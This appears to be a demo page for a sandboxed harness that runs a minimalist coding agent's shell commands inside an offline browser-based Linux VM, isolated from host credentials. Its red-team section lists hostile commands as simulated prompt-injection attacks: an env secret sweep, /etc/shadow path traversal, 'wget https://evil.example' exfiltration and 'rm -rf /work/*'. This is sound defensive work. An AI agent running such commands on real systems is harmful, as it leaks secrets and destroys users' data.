VM: Idle Guest Net: Offline Backend: Scripted Pi Loop

Browser-Delivered VMs · Minimalist Pi-Style Agent in Linux 7.x

Pi Sandboxed VM Harness

Coding agents that invoke shell commands directly on a developer workstation share every host environment variable, SSH key, and outbound socket. Modeled on Mario Zechner's minimalist pi architecture, this harness exposes exactly 4 core tools (read, write, edit, bash), a tree-structured branching session, and SHA-256 digest-pinned extensions—while running every shell command inside an offline Unkernel Linux 7.x Dedicated Worker (112 MiB RAM, net: undefined, 9p MemoryFs at /work) with zero API keys inside the guest.

Why this matters

When an agent runs bash on your host machine, prompt injection in a repository file or build script can inspect env for API keys, read ~/.ssh, exfiltrate source code, or wipe local folders. Moving the execution loop into an offline browser-delivered Linux 7.x kernel isolates tool execution while keeping model inference and credentials outside the VM.

What this opens up

Zero-install coding agent sandboxes delivered by URL: inspect unfamiliar repositories, run real POSIX awk/sed/sh test suites, branch or rewind tool sessions across workspace snapshots, pin custom extensions by SHA-256 digest, and roll back destructive guest commands byte-for-byte in one click.

How the tests work

Click Boot Linux 7.x VM & Run 4-Tool Pi Loop to watch read, failing bash, surgical edit, and passing bash record into an interactive Session Tree. Then verify SHA-256 Extension Integrity, execute 4 Hostile Repo Red-Team Attacks (including rm -rf /work/*) with 1-Click Pre-Task Rollback, and review the native compatibility matrix.

Guest Linux 7.x Runtime & External Model Backend

Model inference runs in the host tab—never inside Linux. Guest env contains zero API keys and net: undefined disables outbound sockets.

Kernel Not booted yet (unkernel 0.3.0-261202-b033dc7)
Boot Time —
Memory / Net 112 MiB · net: undefined
Pre-Task /work SHA-256 —
Model Reasoning Backend (Host Tab Only — Zero Keys in Guest VM):
Ready: deterministic 4-tool loop runs immediately with zero external keys.
Interactive Test 1

4-Tool Pi Loop on Real Linux 7.x & Branching Session Tree

Executes read (/work/calc.awk) → bash (sh /work/run-tests.sh → FAIL) → surgical edit (fix qty > 5 → qty >= 5) → bash (sh /work/run-tests.sh → PASS), recording each turn as a rewindable, branchable node in the Session Tree.

Tests: Not Run

Mounted /work 9p MemoryFs

SHA-256: —
Boot the VM or run the 4-Tool Pi Loop to inspect /work files mounted over 9p.
Manual Tool Console (read / write / edit / bash on Active Branch)

Interactive Session Tree

branch: main

Selected Turn Output

node: —
Select any node in the Session Tree to inspect its tool arguments, diff, stdout/stderr, and workspace SHA-256.
Interactive Test 2

SHA-256 Digest-Pinned Extension Integrity Check

Extensions extend Pi's 4 core tools with custom helpers (here csv_audit), but only after host-side crypto.subtle.digest("SHA-256") matches the pinned manifest digest. A 1-byte tamper is rejected before tool registration.

Extension: Not Checked

Extension Verification Gate

Click "1. Verify & Register Pinned csv_audit" or "2. Attempt 1-Byte Tampered Extension" to compare SHA-256 digests.

Extension Execution Output (Inside Guest VM)

Once csv_audit passes SHA-256 verification, run it inside Linux 7.x to audit /work/data.csv.
Interactive Test 3

Hostile Repo Red-Team (4 Live Attacks in bash + Instant Rollback)

Simulates prompt-injected shell commands running directly inside the guest Linux 7.x VM: (a) env secret sweep, (b) ~/.ssh / /etc/shadow & path traversal, (c) wget https://evil.example, and (d) destructive rm -rf /work/*—followed by 1-Click Pre-Task Rollback restoring /work byte-for-byte.

Red-Team: Idle
Pre-Task Baseline SHA-256 —
Current /work SHA-256 —
Integrity Status Awaiting boot

(a) Guest env Secret Sweep

Not run yet.

Runs `env` inside Linux 7.x and scans for API keys, tokens, or credentials.

(b) ~/.ssh, /etc/shadow & Traversal

Not run yet.

Tests path guard on `/work/../../etc/shadow` plus guest `/root/.ssh` and `/etc/shadow`.

(c) Outbound wget https://evil.example

Not run yet.

Attempts HTTPS exfiltration with guest `net: undefined`.

(d) Destructive rm -rf /work/*

Not run yet.

Wipes `/work` inside guest 9p MemoryFs so you can verify 1-Click Pre-Task Rollback.
Interactive Test 4

Browser VM vs. Native Pi CLI Compatibility Matrix

Exact boundary between what runs today inside the bundled ~12.8 MB unkernel.wasm BusyBox image versus what requires a mounted Alpine/Debian EROFS distro, a Wisp WebSocket network proxy, or cross-origin isolation.

Capability Status Browser VM (Unkernel Linux 7.x) Native Pi CLI Platform Requirement

Trust Boundary Architecture

Credentials and model inference stay outside the Linux kernel; only structured 4-tool RPC frames cross the Worker boundary.

Host Browser Tab (Model & Policy Plane)
  • Model Router: Scripted Loop, Port Authority, Chrome AI, or Ollama
  • Session Tree: Branching turn log + SHA-256 workspace checkpoints
  • Extension Gate: SubtleCrypto SHA-256 verification before registration
  • Path Guard: Confines read/write/edit strictly inside /work
postMessage RPC read | write | edit | bash 0 API keys sent
Dedicated Worker (Unkernel Linux 7.x Guest)
  • Kernel: Linux 7.x compiled to unkernel.wasm (112 MiB RAM)
  • Network: net: undefined (no NIC, outbound sockets unreachable)
  • Filesystem: Ephemeral initramfs + 9p MemoryFs mounted at /work
  • Rollback: Byte-for-byte pre-task restore verified by SHA-256
Glossary & Primary Specifications
Pi Minimalist Coding Agent
Mario Zechner's minimalist agent architecture centered on 4 tools (read, write, edit, bash), tree-structured sessions, and explicit extension loading.
Unkernel (Linux 7.x on WebAssembly)
A real Linux 7.x kernel with MMU, fork(), /proc, and 9p mounts compiled to a single unkernel.wasm module running unmodified aarch64 binaries in browser Workers.
WebAssembly JSPI (WebAssembly.Suspending)
JavaScript Promise Integration allows compiled kernel syscalls and I/O traps in WebAssembly to suspend cleanly on async browser APIs without blocking the tab.
Plan 9 (9p) Host Mount & MemoryFs
Virtual filesystem protocol used by Unkernel over vsock to mount a host-managed in-memory file tree at /work without exposing host disks.
SubtleCrypto.digest("SHA-256")
Browser cryptographic hash API used both to verify digest-pinned extensions before registration and to prove byte-for-byte workspace rollback.
Port Authority AI Router (llmchannel.dev)
Browser MessagePort router that grants OpenAI-compatible inference access to a user's chosen model without handing raw API keys to the page or guest VM.
How This Is Set Up

4-Tool Pi Harness Over an Offline Unkernel Dedicated Worker

Splitting model orchestration and session history in the host tab from real Linux 7.x shell execution inside public/pi-vm-worker.js.

Host CLI Agent (Ambient Authority)
// Child process inherits host env, SSH keys, filesystem, and network
const res = execSync(toolArgs.command, {
  cwd: process.cwd(),
  env: process.env, // Exposes OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, ...
});
// Prompt-injected `rm -rf` or `curl` mutates host disk and exfiltrates secrets.
Sandboxed Browser VM Pi Harness
// public/pi-vm-worker.js — isolated Linux 7.x with 0 host keys & no network
const workFs = new MemoryFs(SEEDED_PROJECT_FILES);
const vm = await createKernel({
  memoryMiB: 112,
  mounts: { "/work": workFs },
  net: undefined, // Outbound sockets unreachable at kernel level
});
const res = await vm.exec("sh", ["-c", command], { cwd: "/work" });
Digest-Pinned Extension Gate & Surgical Edit Implementation
// public/lib/pi-tools.js
const check = await verifyPinnedExtension({
  name: "csv_audit",
  source: candidateSource,
  expectedSha256: PINNED_EXTENSION_SHA256,
  referenceSource: VERIFIED_EXTENSION_SOURCE,
});
if (!check.ok) {
  throw new Error(check.diffDetail); // Rejected before registration
}

// Surgical exact-match edit (matches pi's edit tool contract)
const patch = applySurgicalEdit(
  currentFileText,
  '  if (tier == "bulk" && qty > 5) {',
  '  if (tier == "bulk" && qty >= 5) {'
);